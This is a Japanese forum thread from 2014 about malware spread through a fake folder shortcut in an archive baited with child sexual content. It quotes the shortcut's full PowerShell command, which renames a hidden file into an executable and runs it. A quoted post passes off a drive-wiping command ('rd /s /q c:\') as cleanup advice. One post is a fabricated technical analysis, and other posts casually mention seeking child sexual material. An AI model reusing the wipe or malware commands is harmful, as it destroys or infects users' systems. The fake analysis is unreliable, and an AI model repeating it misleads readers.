器物損壊罪で逮捕させよう

>>281
トレントでわけわからんショートカット満載してること多いけど
なんの意味があるんだって1,2回開いたことあるわ
なんの障害も無しにUAC回避できるとかUAC意味ねー

ロリコンって惰弱だったんだな
メシウマ

ウィルスソフト使えば大丈夫だとか過信してた
自作のウィルスで突破されちゃうのね

こういうの作るのってプログラミングを本業にして長い人じゃないと無理なんじゃないの？
下手したら逮捕されるのによくやるなあ

アフィ民しか引っかからんだろ

エロでつってフォルダに擬態か
懐かしい感じだな

>>237
俺も俺も

最初はどんだけバカなんだよこいつらと高をくくっていたが少し冷えてきたな
ID:3I146ai20ニキの解説を読んでると、これたまたま落とす気にならなかったから避けられただけで
溜まりまくってる時にこのスレ見たらlnk踏んでたかも

>>283
> 結局movフォルダはexeファイルで拡張子を.lnkにして
> ショートカットキーに偽装したって感じ？

違う。

ショートカットはショートカット。それ自体は偽装でもなんでもなく、普通のショートカット。
ただし、そのショートカットを踏むと、powershell(すんげーざっくり言うと、dosプロンプトの進化版)が

・thumbs.dbをmov\mov.flgへリネーム移動
・desktop.iniをx.exeにして c:\tempへリネーム移動、実行

ということを自動的にやるようにショートカットが組まれていたということ。

>>240
敵にすると凄くうっとおしいけど味方にすると頼りない連中

>>287
上で出てるけどtorのロリ形サイトに上がってたのを引っ張ってきただけだと思うぞ

パソコソって何？

>>301
日本にプログラマーがどれだけいると思ってるんだ

まとめの影響で何の知識もないアホが
vip 嫌儲なんj辺りに流れたからな

どうせ今回みたいな騒ぎがまた起きるよ

ワロタ
みんな最低限の知識は持ってるもんだと思ってたわ

>>266
なる。ファイルは全部拡張子まで表示にした方がいいよな

喪男＝童貞＝アニオタ＝池沼＝ロリコン＝性犯罪者

>>189
平常時なら騙されない奴もちんこに血集めている時は頭回らないんだろうな

>>189
こんなんクリックするやついんのかよ

そっか
前に上がってた画像使って
いかにも中身はコレの動画ですよと偽って
ウイルス落とさせたのかｗｗ
策士というか
今度から俺もきおつける

斧から得体のしれないもん落とすとか池沼かな？

三次ロリはこういうのが怖いわ
やっぱ二次ロリ最高だわ

>>242
こいつバカにされてるけど

こういう臆病な奴ほど生き残る

>>293
> 今どき気前よくあうロリ上げる奴が嫌儲にいるとは到底考えられない
よくわからないがすごい説得力だ！

画像踏んだだけでビクビクしてるのはさすがにどうかと思うｗ

このスレ勉強になった
また無駄にパソコン大先生になってしまった

あぶねーよ
ちょうどその頃俺はgcolleとinfopotを漁って課金していた

抜いた後すげー後悔したわ・・・

>>312
> なる。ファイルは全部拡張子まで表示にした方がいいよな

>>121, >>124

嫌儲とか立派な名前は返上してニュー速(情弱)とかニュー速(池沼)にしたら？

>>319
ノートン信用しきってる上にJaneを入れてるんだぞ
最初にカモられるタイプ

>>193
仮想以外だと何の情報もいれてないどうでもいいノーガードPCでクリーンインスコ前提で挙動とか
調べたりするような人が勇気が無くて踏めないうｒｌ鑑定スレとかにはいたりした

お前らやっぱ馬鹿だったんだな・・・
どれくらいダウンロードされたんだ？

斧ロダってなんで使われなくなったの？

>>293
眼から鱗だわ

*.lnkで複雑なコマンドを実行できるのね。
エロ.batとか絶対踏まないけど、フォルダショートカットとか間違って開いてしまうとこだった。

ネット繋いで10年だけど専門的な知識はないからとりあえず誰かの報告待ってから落としてるな
今回は落としてすらいないからセーフだけど久し振りにこういう騒動見たから怖いわ

勝手に未成年が引っかかってるもんだと思ってたけど、30超えてロリ目当てでウイルス踏んでるどうしようもない奴もいるんだろうな…

>>325
ジョー弱

でいいだろ

>>319
自称中級者ほど墓穴掘るからな
車の運転と似てるな

これってウイルス作成罪じゃないのか

ウイルスのミラーない？
調査したい

マジで情弱しかいないのかよこの板ワロタｗ

ってお前らこれ笑ってるけどさ

rarを解凍したら

・image というフォルダ
・image の中身にはそれなりに画像
・「imageへのショートカット」のショートカットフォルダ

・・・・という構成で、その「imageへのショートカット」のリンクの内容が
>>35の原理で「ハードディスク全消し」とかできるってことだからな、下手したら。

あかん
怖くなってきた
スパイチェックとデフラグやろ・・・

>>305
ショートカットの元ファイルってどこにあるの？
例えばIEのショートカットならiexplorer.exeってのがどこかにあるという認識なんだけど

>>242
かわいい

このタイミングでウィルスばらまきとか
西村はあめぞう潰したときと同じ手口で来たか

タラコの手口

スマホでひらけばいいじゃん

コドモン：　　ニシムラ派の攻撃に対して防御、反撃用意
VIP：　　　　ニシムラ派の攻撃にサーバを落とされて憤慨
なんJ：　　　ニシムラ派との開戦で闘志を燃やす
ｹﾝﾓﾒﾝ：　　ロリ画像スレでウイルス踏んで阿鼻叫喚

おまえらいい加減にしろよ

>>337
いまうｐすると逮捕されるだろうな・・・

ゆうちゃんもうムショからでてきてんだよな
あっ(察し

>>329
使われてるけど最近は重かったりして調子が悪い気がするな

>>346
ウイルス貼ったのは西村派だから反撃しよう

movが拡張子なの？やばいじゃん

調査目的だから大丈夫
だれかミラー頼む

これは重大案件やな

lnkでパワーシェル動かせるのは誰得なのか

>>341
ショートカットに元ファイルは要らない
普通は元ファイルがあるからそれを実行したりするが

>>293
全くその通りでございます

bot化されてるのわかる方法ないの？

なんかの偽装ファイルにやられたのかと思ったら
思いっきり怪しいファイル実行してるのか
どんだけ情弱なんだよ

これかなり巧妙だよ
パソコンの大先生なら踏んでしまうようにできてる

>>289
> 項目のプロパティの値を作成または変更します。
> アーカイブ属性つけてるけど、新規ファイルだってのを誤魔化したいのかな。目的が分からん

なんだろうねしかし。
てか、dosの時代からパソコン触ってるけど、この「アーカイブ属性」ってのだけは
使い道というか意味が全く分からないのだよなｗ

ひょっとしたら、アーカイブ属性をつけることで、thumbs.dbが生成されるのかも知れないね。
元のthumbs.dbはmov.flvに名前を変えてるから、それを取り繕うために新規でthumbs.dbを作り直させてるのかも。

>>343
だったら２ｃｈに貼られた外部リンクはしばらく踏めないね
ＩＥの例のセキュリティーホールの件もあるし

仮想マシンに入れてるUbuntuで踏むとどうなるの？

>>329
あんな待機時間クソ長いロダ、釣りにしか使えん

>>341
Windowsのコマンドを呼んでいる。
Windowsに対して、ファイルコピーしてねー、リネームしてねー、実行してねー、ってのがショートカットに書かれている。

>>352
諦めろ

諦めろ

ワイ、カスペルスキー高みの見物

>>339
まずショートカット入ってるのおかしくないか
imageがまともならそれで満足しそうなもんだが
しかし油断してると踏むんだよな
勝って兜の緒を締めよだな！！

火元のスレタイから考えると誰も通報してない感じか

Tor板とかでもいいから上げてほしい

>>293
なんという冷静で的確な判断力なんだ！！

>>341
ショートカット先は、powershellっていうコマンドプロンプトの凄いやつ版みたいなやつ
Windows Vista以降（だっけ？）ならデフォで入っている

そのコマンドプロンプトの凄いやつは、引数にコマンドを書くと実行してくれるので、コピーも削除もやりたい放題できる

誰かまとめブログに貼ってこいよ

これフォルダのショートカットに偽装してるから普通は即削除するけど
ウェブサイトのショートカットに偽装してたら多分結構な数のロリコンが地雷踏んだだろ
UACを回避できるのはなぜなんだ？

冷静さを欠いて居た状態で遭遇してたら危なかったかもしれん・・・
なんて卑劣なことをしやがるんだ、人として超えちゃいけないライン考えろよ

Windowsインストールする度に思うのは、どうして拡張子非表示がデフォルトなのか
これだけは本当に理解できない

該当スレの進みが遅くて途中離脱してたからよかったけど
あのままずっと見てたら多分引っかかってただろうなぁ

>>360
昔々、バックアップ済みかどうかの目印にしてた。

ガラケで解凍までしちまったい

>>230
は？ドメインからして中国かなんかだと思ったら、最近取得されたばかりの日本のドメインかよ

登録年月日
18-MAR-2014 01:43:05 UTC
有効期限
18-MAR-2015 01:43:05 UTC
最終更新日
18-MAR-2014 02:00:38 UTC
登録者
Registrant Name:saki takada

今確認してhttp通らないと思ったら、そもそもDNS設定削ったみたいだな
パケットキャプチャしてる画像だと鯖自体はフランスに置いてたようだが
ちょっと臭すぎるな

動画だったらダブルクリックとかするよりプレイヤーのプレイリストに入れたり
送るのほうがいいんじゃないか

>>347
ウイルスであることを明記した上で簡単に実行できない形式にしとけば問題ないだろ
無能なおまわりさんに作者扱いされて自白させられるかもしれんけど

>>35
コレってアイコンオリジナルのに変更してても無意味なわけ？
例えばウンコの画像アイコンにしてたら
偽装の方もうんこ画像になるの？

movって何に関連づけてあるか忘れてたから
多分これ踏んでたかもしれない
JCとコスプレセックスってスレタイ見て
…もしかして赤羽の奴かあれ男が糞だし
女はマグロだしイラネってそっ閉じしたから救われた

>>375
見た目
あと勝手に書き換えてブチ切れる奴がいるから

>>369
調査し終わったらスレ立ててな
どうなるか知りたい
ウイルスは持ってない

2ch.netでウイルスが出回りました封鎖します
みなさんscに移住して下さい

みたいな流れなん？

【AKB48】小林よしのり氏「最近虚しくて、以前のように馬鹿になって嵌れない」
http://hayabusa3.2ch.net/test/read.cgi/mnewsplus/1398875662/

>>376
ほんとな、危なかった
エロで釣るとか人として最低だわ

>>347
調査目的ならOKOK。readmeでも付けて再圧縮すればいい
今もパスワードかけてウイルス公開してる人いるよ

390 ：とあるエンジニア ◆axN5UIO01s ：2014/05/01(木) 02:54:55.20 ID:gmVsY3rf0

名乗ったらミラー協力してくれる人いるかな？

>>373
ウェブサイトのショートカットだと、ブラウザごとにアイコン変わるから微妙だが
実際にブラウザを開けるので、フォルダショートカットより気づきにくいかも

>>355 >>364 >>371
なるほど
だいたい分かった
ショートカット先のプログラムは別にダウンしたフォルダ内に予め入れとかなくても
そいつのPCというかOSに入っていればいいわけか
ショートカットが指定する場所さえあってれば起動できると

なんで偉いプログラマーどもは引数に任意のコマンドを付けれるよ！とか
この中に入れた文字列はなんでも実行命令として解釈できるよ！　みたいな仕様を撤廃しないのか

ぜんぶscのせいだな

>>384
これだな
拡張子消す奴とか出てくるだろう

あちらのスレにあった情報な
UACを回避していじれるんだとさ

709 　番組の途中ですがアフィサイトへの転載は禁止です sage 2014/05/01(木) 01:35:46.54 ID:Vt4uz03p0 [4/7]

>>688
トレースしてみたけど、オンメモリで既存プロセスに寄生した上で
ConsentPromptBehaviorAdminを弄ってから本体実行させてた

>>319
本人なの？ｗ

>>384
あぁ、書き換え防止かなるほど
確かに拡張子表示させられる程度のリテラシーなければ大変なことになりそうだな

>>386
それだとnet開幕一年で閉鎖しちまうぞ

フォルダアイコンは標準から変えておくだろjk

俺もじょうよわだからこないだ海外フリーソフト入れた時に
search protect by conduitってマルウェア入れられて焦ったわ

まあ、正直ロリじゃなくて別ジャンルなら引っ掛かってたと思います
はい

これ被害にあったやつ通報したら、証拠としてパソコン押収されて、被害者なのにアウロリ見つかって別件逮捕の流れになんの？ｗ

だからさぁ、みんなLinuxにしろっての
Ubunntu使えっての
Ubunntuならセキュリティソフトなくても、こんなウイルスにやられないぞ？

>>392
> ショートカットが指定する場所さえあってれば起動できると

で、XPにはそもそも「ショートカットが指定する場所」が存在しないので、
このトラップは発動せず、よってXPは不戦勝という扱い。

>>6,9
wiresharkとかウィルスググッてた時に手に入れてどうしたらいいかわからなくて結局使えなかったツールだわ
これどこを見りゃいいのよ

昨日の温水AVに仕込んであったらやばかったわ

本当にネット初心者多いのな
昔からブラクラやらウイルスは2chに蔓延してただろうに

>>398
そしてSetup(.exe)とSetup(.ini)で混乱するのは恒例行事
一長一短だわな

movって久々に聞いた
検体は送られてるのかな

>>189
思いっきりショートカットとファイルの種類に書いてあるだろ

>>> 300
>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe md 'mov' ;del 'mov.lnk' ;saps mov ;mv thumbs.db mov\mov.flv;sp mov\mov.flv attributes Archive;mv 'desktop.ini' '%temp%\x.exe';saps '%temp%\x.exe';
>
>このショートカットは実行すると thumbs.db を thumbs.flv に変えて desktop.ini を desktop.exe に変え、exe を %TEMP% に移して実行してくる。
>お前は目が見えぬのか？

ショートカットのリンク先にPowershellの実行ファイル指定して引数で任意のコマンドを送りつけて実行させてるのか
おまけにUACも回避できるとか考えたやつすげー

>>396
えぐいことするなーｗ

>>405
なるほどｗそういうことか
色々サンクス

にしても何でUAC回避できんの？
powershellだから？　何かのセキュリティホール使ってんのかな

>>268
ｗｗｗｗｗｗ

>>400
こういうやつが引っかかってしまうわけか

阿鼻叫喚すぎワロチｗｗｗ

>>412
UAC回避もできるんじゃ、他にいくらでも応用できそうなウイルスだよな

>>411
詳細表示しかないんじゃあるまいし。

てか壁紙とかデスクトップとかみりゃ分かると思うが、
そいつは多分「仮想マシン上で隔離されたところで動作解析のために踏んでみた」だけだぞ？

またひとつ嫌儲の情弱さを感じた

ubuntu で同じ挙動のスクリプト作るのは win より簡単かも

>>405
やっぱりXP最強やん！

我が X P 軍は永久に不滅です

>>396
あ、UAC回避は別の方法だったのか
こいつもウィルス作成者も専門家か何かか

>>421
絶対に＋にばら撒くなよ

カ　ス　ペ　ル　ス　キ　ー　大　勝　利

428 ：とあるエンジニア ◆axN5UIO01s ：2014/05/01(木) 03:02:47.64 ID:gmVsY3rf0

誰か検体提供お願いします

XPでもPowerShell入ってた
いつ入れたんだろうか

windows8は今回ブロックできるってマジ？
７の天下ももうすぐ終わりそうだな

まだどういうウイルスかわからないのかよｗｗｗｗｗｗｗｗ
チョンモメンださすぎでしょｗｗｗｗｗｗｗｗｗｗｗｗ

>>412
つまりショートカットでPowerShellの引数を通せば
UAC回避してなんでもやり放題なん？
Windowsって…

最初は笑ってたけどスレ読んでいくと俺はロリコンじゃなかったからひっかからなかっただけだな…
なんかの祭りの時に特定したwwとか言われて貼られてたら踏んでたかも

434 ：168：2014/05/01(木) 03:04:08.66 ID:Ihc/tNZb0

あっぶねｗマジで418実行したが何も削除されてねーしｗｗ

奇跡じゃね？ｗｗｗ

>>428
vipの現行のひろゆきスレ行ってこい
コピペで貼ってるバカがいた
おまえにとってはありがたいんだろうが

>>412
嫌な手口だなあ

大人しくスマホ使いろよ

「神奈川女子高更衣室盗撮.avi　　　　　　　.exe」

とかに比べたら妙に作り込まれてるな

>>430
windows8はUACが強化されてるしね
以前にUACがないXPが引っかかるタイプのウイルスもあったが
今度は7も危ないのかもな

小学生以下にしか興味がないおかげで助かった

これVIPだと子供ばっかだからもっと引っかかっただろうな

こういうの久しぶりだな
ワクワクする

ConsentPromptBehaviorAdminって何かと思ったら、レジストリかよ
そんなとこに重要な設定入れるなよｗｗｗ

>>441
今はスマホから2ちゃんしてるようなのがほとんどだからどうだろうな

>>435
元ファイル消えてんだからコピペもクソもないだろうが

ゆうちゃんがsc側についてしまったか・・・

447 ：とあるエンジニア ◆axN5UIO01s ：2014/05/01(木) 03:06:09.67 ID:gmVsY3rf0

既に最初に配布されていた不審なファイル
http://www1.axfc.net/u/3234308
は削除されているので
検体の提供がないとどうしようもない

readme.txt
でショートカットされてたら間違いなく引っかかる自信がある

エロで釣られるのが一番恥ずかしい

>>428
すまぬ・・・すまぬ・・・・。
さすがに検体提供という目的があっても犯罪者にはなりたくないものでな・・・・。

マジ話するなら、symantecかマカフィーかに送りつけたほうがいいのかも知れんな、持ってるやつがまだいればの話だが。

http://i.imgur.com/sF0mbP2.jpg
http://pic.prepics-cdn.com/chi1234/33369928.jpeg
http://i.imgur.com/gvX6vfM.jpg
http://i.imgur.com/cucGmCK.jpg
http://i.imgur.com/VX0x3F1.jpg
http://i.imgur.com/NU253fH.jpg
http://i.imgur.com/CqS0G8c.jpg

>>445
>>447

元消えてんのか
じゃあ意味ないか

exeなのにUAC発動しないのはなんでなんだろ
そこが巧妙だなあ

今回はUACが回避されたみたいだけど、
本当の情弱おじさんはUACの警告も無視して実行するから…

だからアンダーグランドはガラケー最強だとあれほど

>>102
お前のmateすげぇな
ただmateはデフォでサムネ自動取得だからおまんちんはたまにひっかかるな
だからなんだって話だが

Janeってヤバイの？

俺のロリコン書き込みはネタだったので助かった

459 ：【中部電 66.8 %】忍法帖【Lv=40,xxxPT】(1+0：8) ：2014/05/01(木) 03:07:34.04 ID:h7TOsQ4T0

>>447
俺落としてないから提供できんは

このスレにも落としたやついるんだろ？提供してやれよ

>>441
「.jpegじゃない」とか「.mp4で寄こせ」とか言いそう

>>449
しかしエロで負った傷が一番教訓になるんだろうな

>>439
なんにせよはやく対策してほしいっすね
被害者続出の予感

べつにロリなんて自業自得なんだよなあ

これを気に変な性癖は慎むべきだね

464 ：とあるエンジニア ◆axN5UIO01s ：2014/05/01(木) 03:07:58.57 ID:gmVsY3rf0

メアド晒すからそこに送ってきてくれてもいいので頼む
[email protected]

>>428
何のエンジニア？とりあえず手に入れたらアンチウィルス各社に検体送ってほしい
ここも頼む
https://analysis.f-secure.com/portal/login.html

>>457
たぶんその質問をする時点d(ry

>>435
リンク先は消されてるみたい
誰かが再アップロードでもすりゃ入手できるんだろうが流石にそんな危険犯すやついないか

ウィルススキャン終わらねぇ

別に検体提供してもいいんだけど欲しい人いるのかよ…
どうせ不正指令電磁的記録取得罪になっちまってるしな

>>396
> トレースしてみたけど、オンメモリで既存プロセスに寄生した上で
> ConsentPromptBehaviorAdminを弄ってから本体実行させてた

てのはどういうことかというと、Windowsの設定でのこの辺が定められてるレジストリをいじるということだな
http://pasofaq.jp/windows/windows7/rc-uacsettings.htm

マックスバトラー、ケビンミトニック、ロバートモリス、下村努らを凌駕するスーパーハカー揃いのケンモメンで引っ掛かった奴はおらんやろ

>>447
こっちで提供呼びかけてみるのもいいんじゃねえかな

【緊急】嫌儲・なんJ・VIP三者共同会議スレ★4
http://fox.2ch.net/test/read.cgi/poverty/1398878589/

>>466
お願いします教えてください

>>400
偽装じゃなくて、フォルダへのショートカットなんじゃないのかな。
だとしたら、変更したフォルダアイコンにショートカットマークが付くだけ。

いまゴミ箱見たらファイルあったけどうｐはコワイからできない

>>444
あーそれあるわ
そう考えると年齢層的にターゲットは正確だったか

>>454
うむｗ

とりあえずどんなことやっているかだけ興味ある

結局、被害はどんな感じなの？
パソコンがぶっこわれるの？

uacなんてうざいからOS入れたら真っ先に切るもんだと思ってた

今回のウィルスは苺キンタマとか山田オルタナナティブみたいに何か命名されんの？

誰か提供してやれよ
"不正指令電磁的記録に関する罪"は検体目的の提供は例外になってて罪にならないぞ（最初は罪になりかけたけど）

検体提供するやつはあｐろだなんか使うなよ

>>480
ロリコンキラーとか？

>>480
西村たらこホテプ

わろた斧かよ
斧戦争とかやってた昔が懐かしいｗ

>パソコソ

誰かスレタイに突っ込めよ

実行するとブラウザをハイジャックしてzosxなんちゃらとかいうとこにPostするて事？

>>469
レジストリ弄るのにUAC発動しないのか？
ましてやこんな重要なところ・・・

>>464
このアドレスに贈ればいいんじゃね
他人のアドレスの可能性もあるけど

まさか斧から落としてた猛者がこのスレにいるのか？

>>472
ガチなの？
http://fox.2ch.net/test/read.cgi/poverty/1398836253/
の>>287と
このスレの>>35を読んで身に覚えがないなら大丈夫

>>474
メールに送りつけてやれ

で、ここのzosx.asia っていったいなんなん
http://reports.internic.net/cgi/whois?whois_nic=zosx.asia&type=domain

パスワードinfectedで再圧縮すればいいよ。検体提出によく使われる
流石にこれで間違う人はいないだろう

なんか簡単だな
ゼロデイアタックいけるじゃん

496 ：168：2014/05/01(木) 03:13:02.58 ID:Ihc/tNZb0

おいコレ実行したんだが何も影響なし
蚊にも刺されてないｗ
俺様の覇気が勝ったってことか？ｗｗ

418 名前：番組の途中ですがアフィサイトへの転載は禁止です[] 投稿日：2014/04/30(水) 21:13:00.87 ID:EsLQnq6X0
>>287
これ落とした奴はディスククリーンナップしたほうがいい
コマンドプロンプト開いてcmd /c rd /s /q c:\と入力

UAC回避はさすがに無理でしょ
既存の特権プロセスの間には壁が有るはずだし

ゆうちゃんまだあかんて

ちょっと懐かしいって感じちゃうくらいだし結構引っかかっちまったんだろうなぁ
他人のｐｃがどうなろうと知ったこっちゃねーけどな俺のｐｃが壊れなきゃいいわ

自演いくない

2ちゃんに貼られたデータなんて落とした後に反応見てから解凍、実行してるわ
最低でも一日置くのは基本だろ
そもそも落としてないが

やっぱwin.rar最強だな

>>494
へええ　そういう慣習なのか

>>499
ハセ学有能

ぽっくんいま来たんだけどなんかあったの？（´・ω・｀）
もきゅ？（´・ω・｀）

>>469
レジストリ書き換えてシステムのUAC設定を無効にしてるのか
プロセスに寄生する方法が分からんが何かの脆弱性でも利用してるのかな

>>488
すでに実行中のプロセスは、UACから許可をもらっているので、
そのプロセスに潜り込んで、レジストリを弄ればUAC発動しない。

実行中のプロセスに、UAC解除機能が追加されちゃいました！みたいな感じだな

XP大勝利じゃん

今北。何人くらい感染したの？大丈夫？

>>501
昔はたまにガチロリエロ画像とか上げるやついたけど
今は皆無だしなあ

まじかよワロタ

>>507
まさに生体のウィルスそのものだな
ホストの機能を利用しホストを騙すとは

実行中のほかのプロセス書き換えてレジストリ変更？
それこそそんなことがUAC無視してできるとか凄いな

パソコンに詳しい人がいるとスレを読むのが楽しい
これ法律的に拡散したらセーフなのかな？

>>481
悪用しようとする輩もいるから危険だったりする
特に今はファラコ陣営といざこざがあるこんな状況だし余計にな

>>464
届いたか？

>>516
被災者でありながらのヒーローとはお前のことか

検体持ってる人はavastに報告してくれ

おもしろそう

情弱すぎてヤバいな

情弱が喚いてるんじゃないよ

再うｐｷﾎﾞﾝﾇ

>>507
はーんそういうカラクリなのか
できたらどのへんに寄生するためのコマンド記述されてるのか知りたいな

これ作成者が何人感染したか把握できるような仕組みも組み込まれてそう

>>464
インフルエンザウィルスでいいなら送るが。郵送で

寝る時間なのに面白くて寝れないじゃねーかクソッタレ！

>>509
19時前にうｐられて、
俺が20時半過ぎに見たときはDL数280くらいだったと思う
その内何人感染したのか知らんｗ

よくわからんが管理権限取られるってこと？
Windowsの未知の欠陥使ってるならMicrosoftに報告したほうがいいな

トレースしてみたが
これ想像以上にかなり悪質かも知れん。

まず、どっかと通信してるんだけど、
これがおそらく実行ファイル置き場。
今は何も置いてないみたいだから特に害はないが
この置き場に実行ファイルが置かれたら
勝手にPCにダウンロードして勝手に実行するようになってる模様。

さらにレジストリにも同時に書き込みをしており、
手動で消したところで「実行ファイルが消されたら新しい実行ファイルを生成」という
命令が出され、しかもファイル名を変えて実行ファイルが作成される。

vmcのサキュラバス関数をいじっており、
相当高難度なプログラムとなってる。

もっと分かりやすく箇条書きすると、
①現在のあらゆるウイルストフトでは探知出来ない
②ファイル置き場との通信を常に行っており、そこに悪質な実行ファイル置かれたらおしまい
③手動で消したところですでに常駐＆レジストリいじりをされており、無駄

とりあえず、これから先、「何かされる」可能性が高いので
「今特に何も起こってないからセーフ」とは考えてはいけない。
「何かされる」のを防ぐ方法はある。PCの通信を遮断すること。
これなら現状のウイルスが常駐してようと、「成長」することはない。
情報はスマホやサブのノートPCなどで収集するといい。

>>486
ウイルス騒ぎと合わせて古き良きにちゃんねるのふいんき（←変換できない）が出て良いかとー

>>507
既存のプロセスに潜り込むっていうのがどうやるのかさっぱりわからん・・

しかしエグイなこれ
完全な悪意しかないわこのウィルス

誰がなんのために作ってうpしたのか

ぶっちゃけUACはVistaの頃からかなり破られてる
http://image.itmedia.co.jp/enterprise/articles/0911/05/uacantimal.jpg

>>493
botネットのコントロールハブじゃね

パケットキャプチャ貼っておくわ
パスpoverty
http://insurance.tf-bank.net/50MB/dl/1398882211.pcapng

>>533
そこよ

これを回避できた奴だけケンモメン名乗れるんだよ
掛かったやつはチョンモメンだからな
ざまあああああああｗｗｗｗｗｗｗ

UACがクッション入れてくれるから大丈夫って思ってる人ほど
ダブルクリック癖が付いてんのかな
逆に危ないな

>>529
そんなのがなんで嫌儲に降り注いだんだ…

>>529
よくわからんが事態が事態なので赤くしておく

ここまでsvchostなし

ポチって「なんもねーじゃん！」とそのままゴミ箱に捨てて安心してスヤスヤ寝ちゃってるのも多いのかな

>>533
ウイルスとかは理由や動機なんてそもそもない場合が多いわ

ゆうちゃんウイルスか

これはゆうちゃんが犯人だな！
間違いない！

こんなケンモメン見たくなかった

548 ：【中部電 67.5 %】忍法帖【Lv=40,xxxPT】(1+0：8) ：2014/05/01(木) 03:25:59.45 ID:h7TOsQ4T0

>>529
レジストリはどこをイジられてんの？

>>497
>UAC回避はさすがに無理でしょ
>既存の特権プロセスの間には壁が有るはずだし

セキュリティホールというものがあってだな

踏み台だろうな
少なくとも犯罪予告のような愉快犯ではないだろう

逮捕まだー

>>426
引っかかる確率はおおよそ同じだろ
むしろあっちは割りと真面目な話ばっかだからこっちのほうがひどいかもってレベル

おもいっきり踏んでたわ、年食って判断力鈍ったらしい

困ったことに過去の症例と違ってDefenderが無効になってもないし(これすら時限で再起動するようになってるのかもしれない)
何をしたいのかもわからない感じなのがまた怖い

>>529
http://up3.null-x.me/poverty/img/poverty158039.png
>>9のHDDアクセス増加ってダウンロードしてたのかもね

>>540
passがnewsだったんだろ？
つまり嫌儲を直接狙ってたわけだし怖いわおしっこいけない

>>529
へぇ、恐ろしいもんすなぁ

今偉そうにしてるけど昔ダークロリータ踏んだ奴
正直に言いなさい

>>529
うっわ、えぐいな・・・・。

とあるエンジニア頑張れ超頑張れ

それにしてもだ。

> さらにレジストリにも同時に書き込みをしており、
> 手動で消したところで「実行ファイルが消されたら新しい実行ファイルを生成」という
> 命令が出され、しかもファイル名を変えて実行ファイルが作成される。

こんなことを可能にできるようにするシステムってのも怖えな。

クレカとかネットバンキング狙いじゃないかな

>>529
vmcのサキュラバス関数って、なんですか？
ぐぐってもでてこなかったので。

561 ： ◆VEPEPqwQCu.U ：2014/05/01(木) 03:27:27.21 ID:6ZNmA8UV0

MXやnyで鍛えられていない世代はダメだな

対策せずにこのスレ踏んだやつもアウトらしいな
恐ろしすぎる

ユニバーサルメルカトルスレ

>>529 悪質どころの騒ぎじゃないじゃん
買い替え総とっかえレベル

復元ポインツ使ってシステム戻しちゃえば修復できるんかね？

まぁ俺がもしも踏んでたら気持ち悪いからリカバリしちゃうけど

状況は踏んで解析して解析結果を売る

最近は普通にネットに本名や顔だす時代なのに怖いねえ

>>539
>UACがクッション入れてくれるから大丈夫って思ってる人ほど
>ダブルクリック癖が付いてんのかな
>逆に危ないな

ヒットマークを追えば大丈夫という思考停止脳だな

未だにフォルダ偽装ファイルなんてベターな方法に引っかかるバカっているんだな
しかも嫌儲で

>>529
つーことは今からDLしたファイルの挙動確認しても
肝心の実行ファイル本体はもう手に入らないから完全なトレースできないのか

こりゃ本物過ぎる、書き込んだヤツのログ掘っても追跡できねぇだろうな
これだけ人居るトコで堂々とコレだけの手口見せるって目的何だよ……

原田ウイルスとイカタコウイルスを踏んできた俺に死角はなかった

>>565
復元ポイント削除するところまでしてたら笑う

半笑いで書いてそうなコピペ志望単発にマジレスがついてさらなる惨事が起きそうなヨカン

UACとか無効してるから存在すら忘れてたわ

今は何も置かれてないって事はこれからあるのか
今後同じような手口でファイルばら撒かれそうだな

無用心に落としたりしないがこの手のスレは携帯メインにするか

第二のゆうちゃんの犯行か？

それともまたあの豚か？

感染したみたいだけどどうすんのとか言ってるレベルの素人なら、感染したと思ったら即LANケーブル引っこ抜け
無線ならルーターの電源落とせ
調べてる暇なんてないからな
それだけ覚えときゃファイル消失程度で済む

>>536
file 1398882211.pcapng ってあれか、wiresharkのデータか。

パス使って開いたやつはだめなのか
一緒に張ってあった画像をみたら？
てかスマホなんだが

システムの復元すらできないようにするウイルスって作れる？

ユニバーサルメルカトルの悪夢の再来か…

ゆうちゃんって今出所中だっけ？

別プロセスにDLLを読み込ませるのが、タスクマネージャに載らずに常駐する常套手段だ！
みたいなのをどっかで読んだことがあるような気がする
特権プロセス相手に通じるかは知らん

>>579
スマホは全く関係ないから心配せずに寝ていい

踏み台にするんじゃないの？

こんなもん踏む奴はいい加減win8評価版とvmwareぐらい使えや

>>584
ありがとう

こういうのって捕まらないのかね
よくわからん

踏んじゃったやつはあきらめてクリーンインスコしとけよ

サキュラバス関数って何？

>>572
あーそれやられたら終わるのか

>>579
安心して眠れ
そんなやつ五万と居る、はず

>>587
犯罪に決まってんだろsageカス

>>589
なんかすごく妖艶な響き

>>543
さーて、徹夜厨がうpしたお宝画像でも回収するか
↓
なんじゃこりゃぁぁぁぁぁぁぁぁぁぁぁぁぁぁぁ
朝になるとこんな奴らが出てくるのか

あっれ>>529はメルカトルか
zosx.asiaと通信してるって話があったから鵜呑みにしかけたわ

>>569
P2P流行ったのも遙か昔だし
キンタマや山田を知らない世代も増えてるだろう

情弱煽って広げてるやつがいるのか

>>569
平和な時代が続いたってことやなー

なんか優しいメルカトルだな

>>589
ほんとなぞ

>>589
ありえないそれは

これは君みたいなのをひっかけようとするタイプ

>>529
何か凄いことになってるのな
こう言う脅威は久々な感じだね。

　
　

千春.mpeg　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　.exe

　

>>595
vmc
サキュラバス

あたりがメルカトルかね

まーたメルカトルか

インターネットのしくみ

　　∧＿∧
　 ( 　´ん｀)
＿(__つ/￣￣￣/
　　＼/　　　　 /
　　　　￣￣￣＼　（エロ画像）（　ZIP　）（　exe　）　　（個人情報）
　　　　　　　　　　＼┗(^o^ )┛┗(^o^ )┛┗(^o^ )┛　　┗( ^o^)┛
　　　　　　　　　　　＼┏┗　　　　┏┗　　　┏┗　　　　　 ┛┓
　　　　　　　　　　　　　￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣

>>601
　あ　り　え　る　よ　ア　フォ　が　

>>572
たしかwindows updateも弄ってたという話があったしそのへんは考えてありそうね

メルカトルの悲劇再び

解析の希望はとある～だけか
期待してる

サキュラバスを速攻でググった俺大勝利

や～い情弱ケンモメ～ンｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

613 ：とあるエンジニア ◆axN5UIO01s ：2014/05/01(木) 03:36:23.87 ID:gmVsY3rf0

メールが正常に届かない可能性があるので
[email protected]
によろしく

今回のはUACは脆弱性でいいの？
パッチ出してくれそう？

>>596
歴史は繰り返す。しかもより悪質。
しかもツイッターやらフェイスブックやら掘られて取り返しがつかない事に。

いや、メルカトルに偽装した高度なゆうちゃんの可能性も微レ存

